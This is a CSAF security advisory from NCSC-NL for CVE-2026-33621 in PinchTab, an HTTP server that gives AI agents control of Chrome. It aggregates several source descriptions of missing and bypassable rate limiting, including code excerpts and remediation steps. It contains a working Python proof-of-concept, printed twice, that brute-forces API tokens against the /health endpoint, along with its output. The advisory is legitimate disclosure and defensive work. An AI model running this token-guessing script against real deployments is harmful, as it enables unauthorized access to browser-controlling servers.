{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-33621",
        "tracking": {
            "current_release_date": "2026-03-28T07:57:44.492259Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-33621",
            "initial_release_date": "2026-03-24T20:55:23.640240Z",
            "revision_history": [
                {
                    "date": "2026-03-24T20:55:23.640240Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-24T20:55:27.979639Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-25T18:12:51.723555Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-25T18:12:53.025206Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-26T21:27:26.605076Z",
                    "number": "5",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-26T21:27:33.117139Z",
                    "number": "6",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-26T21:38:42.729520Z",
                    "number": "7",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-26T21:38:50.074493Z",
                    "number": "8",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-27T00:13:48.250801Z",
                    "number": "9",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| References created (2)."
                },
                {
                    "date": "2026-03-27T19:44:41.214565Z",
                    "number": "10",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-03-27T20:56:41.228256Z",
                    "number": "11",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-28T07:57:43.682864Z",
                    "number": "12",
                    "summary": "References created (2)."
                }
            ],
            "status": "interim",
            "version": "12"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0.7.7|<0.8.5",
                                "product": {
                                    "name": "vers:unknown/>=0.7.7|<0.8.5",
                                    "product_id": "CSAFPID-5907193"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "pinchtab"
                    }
                ],
                "category": "vendor",
                "name": "pinchtab"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-33621",
            "cwe": {
                "id": "CWE-290",
                "name": "Authentication Bypass by Spoofing"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "### Summary\nPinchTab `v0.7.7` through `v0.8.4` contain incomplete request-throttling protections for auth-checkable endpoints. In `v0.7.7` through `v0.8.3`, a fully implemented `RateLimitMiddleware` existed in `internal/handlers/middleware.go` but was not inserted into the production HTTP handler chain, so requests were not subject to the intended per-IP throttle.\n\nIn the same pre-`v0.8.4` range, the original limiter also keyed clients using `X-Forwarded-For`, which would have allowed client-controlled header spoofing if the middleware had been enabled. `v0.8.4` addressed those two issues by wiring the limiter into the live handler chain and switching the key to the immediate peer IP, but it still exempted `/health` and `/metrics` from rate limiting even though `/health` remained an auth-checkable endpoint when a token was configured.\n\nThis issue weakens defense in depth for deployments where an attacker can reach the API, especially if a weak human-chosen token is used. It is not a direct authentication bypass or token disclosure issue by itself. PinchTab is documented as local-first by default and uses `127.0.0.1` plus a generated random token in the recommended setup.\n\nPinchTab's default deployment model is a local-first, user-controlled environment between the user and their agents; wider exposure is an intentional operator choice. This lowers practical risk in the default configuration, even though it does not by itself change the intrinsic base characteristics of the bug.\n\nThis was fully addressed in `v0.8.5` by applying `RateLimitMiddleware` in the production handler chain, deriving the client address from the immediate peer IP instead of trusting forwarded headers by default, and removing the `/health` and `/metrics` exemption so auth-checkable endpoints are throttled as well.\n\n### Details\n**Issue 1 — Middleware never applied in `v0.7.7` through `v0.8.3`:**\nThe production server wrapped the HTTP mux without `RateLimitMiddleware`:\n\n```\n// internal/server/server.go — v0.8.3\nhandlers.LoggingMiddleware(\n    handlers.CorsMiddleware(\n        handlers.AuthMiddleware(cfg, mux),\n        // RateLimitMiddleware is not present here in v0.8.3\n    ),\n)\n```\n\nThe function exists and is fully implemented:\n\n```\n// internal/handlers/middleware.go — v0.8.3\nfunc RateLimitMiddleware(next http.Handler) http.Handler {\n    startRateLimiterJanitor(rateLimitWindow, evictionInterval)\n    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n        // ... 120 req / 10s logic ...\n    })\n}\n```\n\nBecause `RateLimitMiddleware` was never referenced from the production handler chain in `v0.7.7` through `v0.8.3`, the intended request throttling was inactive in those releases.\n\n**Issue 2 — `X-Forwarded-For` trust in the original limiter (`v0.7.7` through `v0.8.3`):**\nEven if the middleware had been applied, the original IP identification was bypassable:\n\n```\n// internal/handlers/middleware.go — v0.8.3\nhost, _, _ := net.SplitHostPort(r.RemoteAddr)  // real IP\nif xff := r.Header.Get(\"X-Forwarded-For\"); xff != \"\" {\n    // No validation that request came from a trusted proxy\n    // Client can set this header to any value\n    host = strings.TrimSpace(strings.Split(xff, \",\")[0])\n}\n// host is now client-influenced — rate limit key is spoofable\n```\n\nIn `v0.7.7` through `v0.8.3`, if the limiter had been enabled, a client could have influenced the rate-limit key through `X-Forwarded-For`. This made the original limiter unsuitable without an explicit trusted-proxy model.\n\n**Issue 3 — `/health` and `/metrics` remained exempt through `v0.8.4`:**\n`v0.8.4` wired the limiter into production and switched to the immediate peer IP, but it still bypassed throttling for `/health` and `/metrics`:\n\n```\n// internal/handlers/middleware.go — v0.8.4\nfunc RateLimitMiddleware(next http.Handler) http.Handler {\n    startRateLimiterJanitor(rateLimitWindow, evictionInterval)\n    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n        p := strings.TrimSpace(r.URL.Path)\n        if p == \"/health\" || p == \"/metrics\" || strings.HasPrefix(p, \"/health/\") || strings.HasPrefix(p, \"/metrics/\") {\n            next.ServeHTTP(w, r)\n            return\n        }\n        host := authn.ClientIP(r)\n        // ...\n    })\n}\n```\n\nThat left `GET /health` unthrottled even though it remained an auth-checkable endpoint when a server token was configured, so online guessing against that route still saw no rate-limit response through `v0.8.4`.\n\n### PoC\nThis PoC assumes the server is reachable by the attacker and that the configured API token is weak and guessable, for example `password`.\n\n**PoC Code**\n```\n#!/usr/bin/env python3\n# brute_force_poc.py — demonstrates unthrottled token guessing on /health\nimport urllib.request, urllib.error, time, sys\n\nTARGET   = \"http://localhost:9867/health\"\nWORDLIST = [f\"wrong-{i:03d}\" for i in range(150)] + [\"password\"]\ncounts = {}\n\nprint(f\"[*] Brute-forcing {TARGET} — no rate limit protection\")\nstart = time.time()\nfor token in WORDLIST:\n    req = urllib.request.Request(TARGET)\n    req.add_header(\"Authorization\", f\"Bearer {token}\")\n    try:\n        with urllib.request.urlopen(req, timeout=5) as r:\n            print(f\"[+] FOUND: token={token!r}  HTTP={r.status}\")\n            counts[r.status] = counts.get(r.status, 0) + 1\n            sys.exit(0)\n    except urllib.error.HTTPError as e:\n        print(f\"[-] token={token!r}  HTTP={e.code}\")\n        counts[e.code] = counts.get(e.code, 0) + 1\n\nelapsed = time.time() - start\nprint(f\"[*] {len(WORDLIST)} attempts in {elapsed:.2f}s — \"\n      f\"{len(WORDLIST)/elapsed:.0f} req/s  (no 429 received)\")\nprint(f\"[*] status counts: {counts}\")\n```\n\nAfter run\n```\npython3 ratelimit.py\n[*] Brute-forcing http://localhost:9867/health — no rate limit protection\n[-] token='wrong-000'  HTTP=401\n...\n[-] token='wrong-149'  HTTP=401\n[+] FOUND: token='password'  HTTP=200\n[*] 151 attempts in 0.84s — 180 req/s  (no 429 received)\n[*] status counts: {401: 150, 200: 1}\n```\n\n**Observation:**\n1. In `v0.7.7` through `v0.8.3`, rapid requests do not return HTTP 429 because `RateLimitMiddleware` is not active in production.\n2. In `v0.8.4`, the same `/health` PoC still does not return HTTP 429 because `/health` is explicitly exempted from rate limiting.\n3. The PoC succeeds only when the configured token is weak and appears in the tested candidates.\n4. The original `X-Forwarded-For` behavior in `v0.7.7` through `v0.8.3` shows that the first limiter design would not have been safe to rely on behind untrusted clients.\n5. This PoC does not demonstrate token disclosure or authentication bypass independent of token guessability.\n\n### Impact\n1. Reduced resistance to online guessing of weak or reused API tokens in deployments where an attacker can reach the API.\n2. Loss of the intended per-IP throttling for burst requests against protected endpoints in `v0.7.7` through `v0.8.3`, and against `/health` in `v0.8.4`.\n3. Higher abuse potential for intentionally exposed deployments than intended by the middleware design.\n4. This issue does not by itself disclose the token, bypass authentication, or make all deployments equally affected. Installations using the default local-first posture and generated high-entropy tokens have substantially lower practical risk.\n\n### Suggested Remediation\n1. Apply `RateLimitMiddleware` in the production handler chain for authenticated routes.\n2. Derive the rate-limit key from the immediate peer IP by default instead of trusting client-supplied forwarded headers.\n3. Do not exempt auth-checkable endpoints such as `/health` and `/metrics` from rate limiting.\n4. Consider an additional auth-failure throttle so repeated invalid token attempts are constrained even when endpoint-level behavior changes in the future.\n\n**Screenshot capture**\n<img width=\"553\" height=\"105\" alt=\"ภาพถ่ายหน้าจอ 2569-03-18 เวลา 13 03 01\" src=\"https://github.com/user-attachments/assets/ab5cd7af-5a67-40ae-aae3-1f4737afd32e\" />",
                    "title": "github - https://api.github.com/advisories/GHSA-j65m-hv65-r264"
                },
                {
                    "category": "description",
                    "text": "### Summary\nPinchTab `v0.7.7` through `v0.8.4` contain incomplete request-throttling protections for auth-checkable endpoints. In `v0.7.7` through `v0.8.3`, a fully implemented `RateLimitMiddleware` existed in `internal/handlers/middleware.go` but was not inserted into the production HTTP handler chain, so requests were not subject to the intended per-IP throttle.\n\nIn the same pre-`v0.8.4` range, the original limiter also keyed clients using `X-Forwarded-For`, which would have allowed client-controlled header spoofing if the middleware had been enabled. `v0.8.4` addressed those two issues by wiring the limiter into the live handler chain and switching the key to the immediate peer IP, but it still exempted `/health` and `/metrics` from rate limiting even though `/health` remained an auth-checkable endpoint when a token was configured.\n\nThis issue weakens defense in depth for deployments where an attacker can reach the API, especially if a weak human-chosen token is used. It is not a direct authentication bypass or token disclosure issue by itself. PinchTab is documented as local-first by default and uses `127.0.0.1` plus a generated random token in the recommended setup.\n\nPinchTab's default deployment model is a local-first, user-controlled environment between the user and their agents; wider exposure is an intentional operator choice. This lowers practical risk in the default configuration, even though it does not by itself change the intrinsic base characteristics of the bug.\n\nThis was fully addressed in `v0.8.5` by applying `RateLimitMiddleware` in the production handler chain, deriving the client address from the immediate peer IP instead of trusting forwarded headers by default, and removing the `/health` and `/metrics` exemption so auth-checkable endpoints are throttled as well.\n\n### Details\n**Issue 1 — Middleware never applied in `v0.7.7` through `v0.8.3`:**\nThe production server wrapped the HTTP mux without `RateLimitMiddleware`:\n\n```\n// internal/server/server.go — v0.8.3\nhandlers.LoggingMiddleware(\n    handlers.CorsMiddleware(\n        handlers.AuthMiddleware(cfg, mux),\n        // RateLimitMiddleware is not present here in v0.8.3\n    ),\n)\n```\n\nThe function exists and is fully implemented:\n\n```\n// internal/handlers/middleware.go — v0.8.3\nfunc RateLimitMiddleware(next http.Handler) http.Handler {\n    startRateLimiterJanitor(rateLimitWindow, evictionInterval)\n    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n        // ... 120 req / 10s logic ...\n    })\n}\n```\n\nBecause `RateLimitMiddleware` was never referenced from the production handler chain in `v0.7.7` through `v0.8.3`, the intended request throttling was inactive in those releases.\n\n**Issue 2 — `X-Forwarded-For` trust in the original limiter (`v0.7.7` through `v0.8.3`):**\nEven if the middleware had been applied, the original IP identification was bypassable:\n\n```\n// internal/handlers/middleware.go — v0.8.3\nhost, _, _ := net.SplitHostPort(r.RemoteAddr)  // real IP\nif xff := r.Header.Get(\"X-Forwarded-For\"); xff != \"\" {\n    // No validation that request came from a trusted proxy\n    // Client can set this header to any value\n    host = strings.TrimSpace(strings.Split(xff, \",\")[0])\n}\n// host is now client-influenced — rate limit key is spoofable\n```\n\nIn `v0.7.7` through `v0.8.3`, if the limiter had been enabled, a client could have influenced the rate-limit key through `X-Forwarded-For`. This made the original limiter unsuitable without an explicit trusted-proxy model.\n\n**Issue 3 — `/health` and `/metrics` remained exempt through `v0.8.4`:**\n`v0.8.4` wired the limiter into production and switched to the immediate peer IP, but it still bypassed throttling for `/health` and `/metrics`:\n\n```\n// internal/handlers/middleware.go — v0.8.4\nfunc RateLimitMiddleware(next http.Handler) http.Handler {\n    startRateLimiterJanitor(rateLimitWindow, evictionInterval)\n    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n        p := strings.TrimSpace(r.URL.Path)\n        if p == \"/health\" || p == \"/metrics\" || strings.HasPrefix(p, \"/health/\") || strings.HasPrefix(p, \"/metrics/\") {\n            next.ServeHTTP(w, r)\n            return\n        }\n        host := authn.ClientIP(r)\n        // ...\n    })\n}\n```\n\nThat left `GET /health` unthrottled even though it remained an auth-checkable endpoint when a server token was configured, so online guessing against that route still saw no rate-limit response through `v0.8.4`.\n\n### PoC\nThis PoC assumes the server is reachable by the attacker and that the configured API token is weak and guessable, for example `password`.\n\n**PoC Code**\n```\n#!/usr/bin/env python3\n# brute_force_poc.py — demonstrates unthrottled token guessing on /health\nimport urllib.request, urllib.error, time, sys\n\nTARGET   = \"http://localhost:9867/health\"\nWORDLIST = [f\"wrong-{i:03d}\" for i in range(150)] + [\"password\"]\ncounts = {}\n\nprint(f\"[*] Brute-forcing {TARGET} — no rate limit protection\")\nstart = time.time()\nfor token in WORDLIST:\n    req = urllib.request.Request(TARGET)\n    req.add_header(\"Authorization\", f\"Bearer {token}\")\n    try:\n        with urllib.request.urlopen(req, timeout=5) as r:\n            print(f\"[+] FOUND: token={token!r}  HTTP={r.status}\")\n            counts[r.status] = counts.get(r.status, 0) + 1\n            sys.exit(0)\n    except urllib.error.HTTPError as e:\n        print(f\"[-] token={token!r}  HTTP={e.code}\")\n        counts[e.code] = counts.get(e.code, 0) + 1\n\nelapsed = time.time() - start\nprint(f\"[*] {len(WORDLIST)} attempts in {elapsed:.2f}s — \"\n      f\"{len(WORDLIST)/elapsed:.0f} req/s  (no 429 received)\")\nprint(f\"[*] status counts: {counts}\")\n```\n\nAfter run\n```\npython3 ratelimit.py\n[*] Brute-forcing http://localhost:9867/health — no rate limit protection\n[-] token='wrong-000'  HTTP=401\n...\n[-] token='wrong-149'  HTTP=401\n[+] FOUND: token='password'  HTTP=200\n[*] 151 attempts in 0.84s — 180 req/s  (no 429 received)\n[*] status counts: {401: 150, 200: 1}\n```\n\n**Observation:**\n1. In `v0.7.7` through `v0.8.3`, rapid requests do not return HTTP 429 because `RateLimitMiddleware` is not active in production.\n2. In `v0.8.4`, the same `/health` PoC still does not return HTTP 429 because `/health` is explicitly exempted from rate limiting.\n3. The PoC succeeds only when the configured token is weak and appears in the tested candidates.\n4. The original `X-Forwarded-For` behavior in `v0.7.7` through `v0.8.3` shows that the first limiter design would not have been safe to rely on behind untrusted clients.\n5. This PoC does not demonstrate token disclosure or authentication bypass independent of token guessability.\n\n### Impact\n1. Reduced resistance to online guessing of weak or reused API tokens in deployments where an attacker can reach the API.\n2. Loss of the intended per-IP throttling for burst requests against protected endpoints in `v0.7.7` through `v0.8.3`, and against `/health` in `v0.8.4`.\n3. Higher abuse potential for intentionally exposed deployments than intended by the middleware design.\n4. This issue does not by itself disclose the token, bypass authentication, or make all deployments equally affected. Installations using the default local-first posture and generated high-entropy tokens have substantially lower practical risk.\n\n### Suggested Remediation\n1. Apply `RateLimitMiddleware` in the production handler chain for authenticated routes.\n2. Derive the rate-limit key from the immediate peer IP by default instead of trusting client-supplied forwarded headers.\n3. Do not exempt auth-checkable endpoints such as `/health` and `/metrics` from rate limiting.\n4. Consider an additional auth-failure throttle so repeated invalid token attempts are constrained even when endpoint-level behavior changes in the future.\n\n**Screenshot capture**\n<img width=\"553\" height=\"105\" alt=\"ภาพถ่ายหน้าจอ 2569-03-18 เวลา 13 03 01\" src=\"https://github.com/user-attachments/assets/ab5cd7af-5a67-40ae-aae3-1f4737afd32e\" />",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-j65m-hv65-r264.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "PinchTab is a standalone HTTP server that gives AI agents direct control over a Chrome browser. PinchTab `v0.7.7` through `v0.8.4` contain incomplete request-throttling protections for auth-checkable endpoints. In `v0.7.7` through `v0.8.3`, a fully implemented `RateLimitMiddleware` existed in `internal/handlers/middleware.go` but was not inserted into the production HTTP handler chain, so requests were not subject to the intended per-IP throttle. In the same pre-`v0.8.4` range, the original limiter also keyed clients using `X-Forwarded-For`, which would have allowed client-controlled header spoofing if the middleware had been enabled. `v0.8.4` addressed those two issues by wiring the limiter into the live handler chain and switching the key to the immediate peer IP, but it still exempted `/health` and `/metrics` from rate limiting even though `/health` remained an auth-checkable endpoint when a token was configured. This issue weakens defense in depth for deployments where an attacker can reach the API, especially if a weak human-chosen token is used. It is not a direct authentication bypass or token disclosure issue by itself. PinchTab is documented as local-first by default and uses `127.0.0.1` plus a generated random token in the recommended setup. PinchTab's default deployment model is a local-first, user-controlled environment between the user and their agents; wider exposure is an intentional operator choice. This lowers practical risk in the default configuration, even though it does not by itself change the intrinsic base characteristics of the bug. This was fully addressed in `v0.8.5` by applying `RateLimitMiddleware` in the production handler chain, deriving the client address from the immediate peer IP instead of trusting forwarded headers by default, and removing the `/health` and `/metrics` exemption so auth-checkable endpoints are throttled as well.",
                    "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33621"
                },
                {
                    "category": "description",
                    "text": "PinchTab is a standalone HTTP server that gives AI agents direct control over a Chrome browser. PinchTab `v0.7.7` through `v0.8.4` contain incomplete request-throttling protections for auth-checkable endpoints. In `v0.7.7` through `v0.8.3`, a fully implemented `RateLimitMiddleware` existed in `internal/handlers/middleware.go` but was not inserted into the production HTTP handler chain, so requests were not subject to the intended per-IP throttle. In the same pre-`v0.8.4` range, the original limiter also keyed clients using `X-Forwarded-For`, which would have allowed client-controlled header spoofing if the middleware had been enabled. `v0.8.4` addressed those two issues by wiring the limiter into the live handler chain and switching the key to the immediate peer IP, but it still exempted `/health` and `/metrics` from rate limiting even though `/health` remained an auth-checkable endpoint when a token was configured. This issue weakens defense in depth for deployments where an attacker can reach the API, especially if a weak human-chosen token is used. It is not a direct authentication bypass or token disclosure issue by itself. PinchTab is documented as local-first by default and uses `127.0.0.1` plus a generated random token in the recommended setup. PinchTab's default deployment model is a local-first, user-controlled environment between the user and their agents; wider exposure is an intentional operator choice. This lowers practical risk in the default configuration, even though it does not by itself change the intrinsic base characteristics of the bug. This was fully addressed in `v0.8.5` by applying `RateLimitMiddleware` in the production handler chain, deriving the client address from the immediate peer IP instead of trusting forwarded headers by default, and removing the `/health` and `/metrics` exemption so auth-checkable endpoints are throttled as well.",
                    "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33621.json"
                },
                {
                    "category": "description",
                    "text": "PinchTab: Unapplied Rate Limiting Middleware Allows Unbounded Brute-Force of API Token in github.com/pinchtab/pinchtab",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4821.json?alt=media"
                },
                {
                    "category": "other",
                    "text": "0.00041",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "3.9",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "There is cwe data available from source Nvd",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5907193"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-j65m-hv65-r264"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-j65m-hv65-r264.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33621"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33621.json"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4821.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/pinchtab/pinchtab/security/advisories/GHSA-j65m-hv65-r264"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/pinchtab/pinchtab/commit/c619c43a4f29d1d1a481e859c193baf78e0d648b"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-j65m-hv65-r264"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd",
                    "url": "https://github.com/pinchtab/pinchtab/releases/tag/v0.8.4"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33621"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
                        "baseScore": 4.8,
                        "baseSeverity": "MEDIUM"
                    },
                    "products": [
                        "CSAFPID-5907193"
                    ]
                }
            ],
            "title": "CVE-2026-33621"
        }
    ]
}